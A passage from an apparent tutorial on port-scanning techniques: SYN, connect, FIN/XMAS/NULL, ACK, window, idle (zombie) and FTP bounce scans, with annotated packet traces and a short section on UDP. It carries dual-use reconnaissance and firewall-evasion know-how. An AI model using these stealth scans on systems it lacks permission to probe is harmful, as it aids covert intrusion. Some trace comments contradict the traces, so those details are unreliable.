Administrators usually disable ping either on the firewall or on the router. It’s quick and easy to turn off this functionality and make it impossible to scout the network this way. However, ping is a good troubleshooting tool, and turning it off makes tracking down network problems a little more difficult.

TCP Half-Open

One of the more common and popular port scanning techniques is the TCP Half-Open port scan, sometimes referred to as SYN scan. It’s a fast and sneaky scan that tries to find potential open ports on the target computer. This scan is fast because it never completes the full TCP 3 way-handshake. The scanner sends a SYN message and just notes the SYN-ACK responses. The scanner doesn’t complete the connection by sending the final ACK: it leaves the target hanging.

Any SYN-ACK responses are possible connections:

  1. An RST(reset) response means the port is closed, but there is a live computer here. (Blocked Port)
  2. No responses indicate SYN is filtered on the network. (Stealth Ports)
  3. Any SYN-ACK replies are a quick way cybercriminals can find the next potential target. (Open Port)

TCP Connect

This port scanning technique is basically the same as the TCP Half-Open scan, but instead of leaving the target hanging, the port scanner completes the TCP connection.

It’s not as popular a technique as the TCP Half-Open. First, you have to send one more packet per scan, which increases the amount of noise you are making on the network.* Second, since you complete the connection with the target, you might trip an alarm that the Half-Open scan wouldn’t.

* Technical jargon: “Noisy” programs are programs that send large numbers of packets around the network. You might also hear them referred to as “chatty.”

Stealth Scanning

Sometimes a hacker (whitehat or blackhat) wants to run a port scan that is even quieter and less obvious than the other kinds of scans. Thankfully, TCP includes some flags that allow you to do just that.

When you send a port scan with a packet and the FIN flag, you are sending the packet and not expecting a response. If you do get an RST you can assume that the port is closed. If you get nothing back that indicates the port is open. Firewalls are looking for SYN packets, so FIN packets slip through undetected.

The X-MAS scan sends a packet with the FIN, URG, and PUSH flags, and expects an RST or no response, just like the FIN scan. There isn’t much practical use for this scan, but it does make the packet resemble a Christmas tree, so there is that.
You can also send packets with no flags, called a NULL packet, and the response is either an RST or nothing.

The good thing – for the hacker – about these scans is that they don’t usually show up in logs. More recent Intrusion Detection Software (IDS) and of course WireShark will catch these scans. The bad news is that if the target is a Microsoft OS, you will only see closed ports – but if you do find an open port you can assume that it’s not a Windows machine. The biggest advantage of using these flags is that they can slip past the firewall, which makes the results more reliable.

TCP ACK Scan

TCP ACK Scan sends an ACK packet to the target port in order to determine whether the port is filtered or unfiltered. For unfiltered ports a RST reply packet will be sent for both open and closed ports. Filtered ports will result in either no response or an ICMP destination unreachable reply packet.

This approach is useful to get through stateless firewalls which block incoming connections by blocking incoming SYN packets, but allowing ACK packets to get through to allow internal hosts to communicate with the rest of the internet. TCP ACK will not work with stateful firewalls.

Packet Trace

Unfiltered response:

# Sending ACK packet to the target on port 80 0.425238 192.168.1.100 -> 216.34.181.45 TCP 63851 > www [ACK] Seq=0 Ack=0 Win=2048 Len=0 # We have received RST back meaning the port is unfiltered 0.459511 216.34.181.45 -> 192.168.1.100 TCP www > 63851 [RST] Seq=0 Len=0

Filtered response

# Sending ACK packet to the target on port 666 1.728128 192.168.1.100 -> 216.34.181.45 TCP 46985 > 666 [ACK] Seq=0 Ack=0 Win=4096 Len=0 # We have received no response so we try one more time and give up. 1.908035 192.168.1.100 -> 216.34.181.45 TCP 46986 > 666 [ACK] Seq=0 Ack=0 Win=3072 Len=0

NOTE: google.com is sending responses contrary to the expected RST packet for filtered ports (666) and no response for unfiltered ports (80) indicating the use of a stateful firewall.

TCP Window Scan

Originally introduced by Uriel Maimon, TCP Window Scan attempts to deduce whether the port is open or closed based on the Window Size and ttl returned by the target host.

  1. A positive window size serves as an indicator for an open port while a zero size window indicates a closed port.
  2. At the same time if the returning packet’s ttl is lower compared to the rest of the received RST packets the port is also likely to be open.
  3. Although this applies to the majority of machines on the internet, a small number of systems will actually return the reverse — zero for open ports and positive number for closed ports.

Packet Trace

It was a lot harder to find systems which would identify open ports with positive window sizes; however, there were plenty of systems which returned RST for closed ports or no response at all indicating a filtered port.

# Sending ACK packet 
0.101139 192.168.1.100 -> 192.168.1.104 TCP 33272 > www [ACK] Seq=0 Ack=0 Win=4096 Len=0 
# Window size is 0 indicating a closed port 
0.101222 192.168.1.104 -> 192.168.1.100 TCP www > 33272 [RST] Seq=0 Len=0

TCP Idlescan

As suggested by Antirez in buqtraq, idle scan relies on the predictability of IPID sequence numbers. It works be continuously sampling the current IPID sequence number on a zombie system while forging packets from a zombie to an actual target.

Zombie systems can be chosen based on their low traffic and predictable IPID sequence numbers. The attack begins when a SYN packet is forged on behalf of a zombie system and sent to the port on a target system. When the target system receives a forged SYN packet it will reply with SYN/ACK to the zombie host. Since zombie host did not expect the incoming SYN/ACK packet, it will generate a RST packet back to the target host thus incrementing its IPID by one. On the other hand, if the port on the target host is closed a RST packet will be sent to the zombie host which will be quietly dropped and will not result in an increment.

At last we have to sample the zombie system once again to determine by how much IPID number was incremented while taking into account that our sample request will result in an additional IPID increase. In our final sample if the zombie’s IPID counter was incremented by two the target port is indeed open; however, if the IPID counter was incremented only by one the target port is closed.

Idlescan offers the ultimate solution in stealthy port scanning since no packets are transmitted between the scanner machine and the target. In addition to stealth capabilities, this technique allows for mapping of trusted machines useful in bypassing firewall rules.

Packet Trace

In this packet trace we will use a local machine 192.168.1.104 as a zombie to scan google.com on port 80.

# First we send SYN/ACK multiple times to the zombie machine to confirm IPIDs are indeed predictable
# in this case they are because for every response they increment by one (2330,2331,2332,2333)
0.454789 192.168.1.100 192.168.1.104 TCP 53007 > www [SYN, ACK] Seq=0 Ack=0 Win=3072 Len=0 MSS=1460 ID=15461
0.454911 192.168.1.104 192.168.1.100 TCP www > 53007 [RST] Seq=0 Len=0 ID=23330
0.486616 192.168.1.100 192.168.1.104 TCP 53008 > www [SYN, ACK] Seq=0 Ack=0 Win=1024 Len=0 MSS=1460 ID=39449
0.486702 192.168.1.104 192.168.1.100 TCP www > 53008 [RST] Seq=0 Len=0 ID=23331
0.522368 192.168.1.100 192.168.1.104 TCP 53009 > www [SYN, ACK] Seq=0 Ack=0 Win=2048 Len=0 MSS=1460 ID=17487
0.522449 192.168.1.104 192.168.1.100 TCP www > 53009 [RST] Seq=0 Len=0 ID=23332
0.554631 192.168.1.100 192.168.1.104 TCP 53010 > www [SYN, ACK] Seq=0 Ack=0 Win=4096 Len=0 MSS=1460 ID=25705
0.554718 192.168.1.104 192.168.1.100 TCP www > 53010 [RST] Seq=0 Len=0 ID=23333

# Next we forge a packet destined for the target host that appears to be coming from the
# zombie machine.
1.082869 192.168.1.104 64.233.167.99 TCP www > www [SYN] Seq=0 Len=0 MSS=1460 ID=38548

# At the same time we will try to sample the current IPID on the zombie which is 2334
1.134610 192.168.1.100 192.168.1.104 TCP 53128 > www [SYN, ACK] Seq=0 Ack=0 Win=4096 Len=0 MSS=1460 ID=34914
1.134696 192.168.1.104 192.168.1.100 TCP www > 53128 [RST] Seq=0 Len=0 ID=23334

# Google.com is now responding to the zombie machine with TCP/ACK attempting to complete a three-way handshake
1.155557 64.233.167.99 192.168.1.104 TCP www > www [SYN, ACK] Seq=0 Ack=1 Win=8190 Len=0 MSS=1460 ID=8303
1.155656 64.233.167.99 192.168.1.104 TCP www > www [SYN, ACK] Seq=0 Ack=1 Win=8190 Len=0 MSS=1460 ID=8303

# Since zombie machine has never sent out the SYN request it responds with RST while
# at the same time incrementing its counter by one.
1.155730 192.168.1.104 64.233.167.99 TCP www > www [RST] Seq=1 Len=0 ID=23335
1.155769 192.168.1.104 64.233.167.99 TCP www > www [RST] Seq=1 Len=0 ID=23335

# Once again we sample the current IPID on the zombie machine and determine that it is 2336 meaning that it was
# incremented by 2 since our last recorded sample was 2334. This means that the zombie machine has responded
# with RST to SYN/ACK coming from an open port on the target machine.
1.270610 192.168.1.100 192.168.1.104 TCP 53185 > www [SYN, ACK] Seq=0 Ack=0 Win=3072 Len=0 MSS=1460 ID=16667
1.270698 192.168.1.104 192.168.1.100 TCP www > 53185 [RST] Seq=0 Len=0 ID=23336

FTP Bounce Scan

FTP Bounce Scan relies on a weakness in FTP protocol which allows requests made to FTP servers to establish other FTP connections on behalf of the client. This allows ftp client to scan other hosts by first bouncing requests from a vulnerable FTP Server using PORT command. For ports on the vulnerable system that are open we will get “Transfer OK” response while for closed ports we will receive “Can’t open data connection” response. This is explained in detail in RFC959:

DATA PORT (PORT)

The argument is a HOST-PORT specification for the data port to be used in data connection. There are defaults for both the user and server data ports, and under normal circumstances this command and its reply are not needed. If this command is used, the argument is the concatenation of a 32-bit internet host address and a 16-bit TCP port address. This address information is broken into 8-bit fields and the value of each field is transmitted as a decimal number (in character string representation). The fields are separated by commas. A port command would be:

PORT h1,h2,h3,h4,p1,p2

where h1 is the high order 8 bits of the internet host address.

In another situation a user might wish to transfer files between two hosts, neither of which is a local host. The user sets up control connections to the two servers and then arranges for a data connection between them. In this manner, control information is passed to the user-PI but data is transferred between the server data transfer processes.

This scanning approach is stealthy although it requires the presence of a vulnerable FTP Server.

Packet Trace

In the example below the following machines will be used to simulate FTP Bounce Scan:

  • 192.168.1.100 is the scanner
  • 192.168.1.250 is a vulnerable FTP Server allowing proxy connections
  • 192.168.1.1 is the target system

Below is a sample attack:

# Initial connection is established with a vulnerable FTP Server
0.066851 192.168.1.100 192.168.1.250 TCP 46625 > ftp [SYN] Seq=0 Len=0 MSS=1460 TSV=2166439 TSER=0 WS=2
0.067014 192.168.1.250 192.168.1.100 TCP ftp > 46625 [SYN, ACK] Seq=0 Ack=1 Win=17520 Len=0 MSS=1460 WS=0 TSV=0 TSER=0
0.067090 192.168.1.100 192.168.1.250 TCP 46625 > ftp [ACK] Seq=1 Ack=1 Win=5840 Len=0 TSV=2166439 TSER=0

# We login into FTP server using anonymous account
0.069071 192.168.1.250 192.168.1.100 FTP Response: 220 Welcome to WinFtp Server.
0.069159 192.168.1.100 192.168.1.250 TCP 46625 > ftp [ACK] Seq=1 Ack=32 Win=5840 Len=0 TSV=2166439 TSER=97308
7.066605 192.168.1.100 192.168.1.250 FTP Request: USER anonymous
7.067807 192.168.1.250 192.168.1.100 FTP Response: 331 Password required for anonymous
7.067897 192.168.1.100 192.168.1.250 TCP 46625 > ftp [ACK] Seq=17 Ack=69 Win=5840 Len=0 TSV=2168189 TSER=97378
7.068426 192.168.1.100 192.168.1.250 FTP Request: PASS -wwwuser@
7.068577 192.168.1.250 192.168.1.100 FTP Response: 230 Logged on
7.106561 192.168.1.100 192.168.1.250 TCP 46625 > ftp [ACK] Seq=33 Ack=84 Win=5840 Len=0 TSV=2168199 TSER=97378

# Now we request a proxy connection to be made for us to the target 192.168.1.1 system
# on port 443 (1,187 translates to 256 + 187 = 443)
9.066781 192.168.1.100 192.168.1.250 FTP Request: PORT 192,168,1,1,1,187
9.068027 192.168.1.250 192.168.1.100 FTP Response: 200 Port command successful
9.068169 192.168.1.100 192.168.1.250 TCP 46625 > ftp [ACK] Seq=57 Ack=113 Win=5840 Len=0 TSV=2168689 TSER=97398
9.068700 192.168.1.100 192.168.1.250 FTP Request: LIST

# FTP Server is now attempting to establish a connection to the target system on port 443
9.070580 192.168.1.250 192.168.1.1 TCP 1249 > https [SYN] Seq=0 Len=0 MSS=1460
9.071345 192.168.1.1 192.168.1.250 TCP https > 1249 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
9.071380 192.168.1.250 192.168.1.1 TCP 1249 > https [ACK] Seq=1 Ack=1 Win=17520 Len=0

# Connection was successfully established so FTP attempts to communicate with the target system
9.071491 192.168.1.250 192.168.1.100 FTP Response: 150 Opening data channel for directory list.
9.071581 192.168.1.250 192.168.1.1 SSL Continuation Data
9.071618 192.168.1.250 192.168.1.1 TCP 1249 > https [FIN, ACK] Seq=137 Ack=1 Win=17520 Len=0
9.072143 192.168.1.1 192.168.1.250 TCP https > 1249 [ACK] Seq=1 Ack=137 Win=5840 Len=0
9.074239 192.168.1.1 192.168.1.250 TCP https > 1249 [RST, ACK] Seq=1 Ack=138 Win=5840 Len=0
9.110608 192.168.1.100 192.168.1.250 TCP 46625 > ftp [ACK] Seq=63 Ack=159 Win=5840 Len=0 TSV=2168700 TSER=97398

# FTP Server confirms to us that the port is indeed open with the Transfer ok response
9.110674 192.168.1.250 192.168.1.100 FTP Response: 226 Transfer ok
9.110759 192.168.1.100 192.168.1.250 TCP 46625 > ftp [ACK] Seq=63 Ack=176 Win=5840 Len=0 TSV=2168700 TSER=97399

# FTP Server is now attempting to establish a connection to the target system on port 442
9.118678 192.168.1.100 192.168.1.250 FTP Request: PORT 192,168,1,1,1,186
9.118953 192.168.1.250 192.168.1.100 FTP Response: 200 Port command successful
9.126485 192.168.1.100 192.168.1.250 FTP Request: LIST

# Connection to the target system failed because we have received RST response
9.127948 192.168.1.250 192.168.1.1 TCP 1250 > 442 [SYN] Seq=0 Len=0 MSS=1460
9.128427 192.168.1.1 192.168.1.250 TCP 442 > 1250 [RST, ACK] Seq=0 Ack=1 Win=0 Len=0
9.313303 192.168.1.250 192.168.1.100 TCP ftp > 46625 [ACK] Seq=205 Ack=93 Win=17428 Len=0 TSV=97401 TSER=2168703
9.641438 192.168.1.250 192.168.1.1 TCP 1250 > 442 [SYN] Seq=0 Len=0 MSS=1460
9.641925 192.168.1.1 192.168.1.250 TCP 442 > 1250 [RST, ACK] Seq=0 Ack=1 Win=0 Len=0
10.078939 192.168.1.250 192.168.1.1 TCP 1250 > 442 [SYN] Seq=0 Len=0 MSS=1460
10.079476 192.168.1.1 192.168.1.250 TCP 442 > 1250 [RST, ACK] Seq=0 Ack=1 Win=0 Len=0

# FTP Server lets us know that it couldn't establish the connection to the closed port
10.080471 192.168.1.250 192.168.1.100 FTP Response: 425 Can't open data connection.
10.118633 192.168.1.100 192.168.1.250 TCP 46625 > ftp [ACK] Seq=93 Ack=238 Win=5840 Len=0 TSV=2168952 TSER=97409
10.231082 192.168.1.100 192.168.1.250 TCP 46625 > ftp [FIN, ACK] Seq=93 Ack=238 Win=5840 Len=0 TSV=2168980 TSER=97409
10.231157 192.168.1.250 192.168.1.100 TCP ftp > 46625 [ACK] Seq=238 Ack=94 Win=17428 Len=0 TSV=97410 TSER=2168980
10.231944 192.168.1.250 192.168.1.100 TCP ftp > 46625 [FIN, ACK] Seq=238 Ack=94 Win=17428 Len=0 TSV=97410 TSER=2168980
10.232022 192.168.1.100 192.168.1.250 TCP 46625 > ftp [ACK] Seq=94 Ack=239 Win=5840 Len=0 TSV=2168980 TSER=97410

UDP

UDP is the other half of our “hallway” and some standard services – DNS, SNMP, DHCP for example – use UDP ports instead of TCP ports. When you run a UDP port scan, you send either an empty packet or a packet that has a different payload per port, depending on your use case.

The trick with a UDP scan is that you will only get a response if the port is closed, which means you might know that there is a computer there. Depending on which port responded you might know that it has DNS or SNMP running, but that’s pretty much it. No response means that either the port is open or it’s filtered, and you might have to run the scan more than once before you figure anything out about the target. You could be waiting a while to get a response that might never come.

One more logical use of a UDP scan is to send a DNS request to UDP port 53 and see if you get a DNS reply. If you do get a reply, you know that there is a DNS server on that computer. A UDP scan can be useful to scout for active services that way, and the nmap port scanner is preconfigured to send requests for many standard services.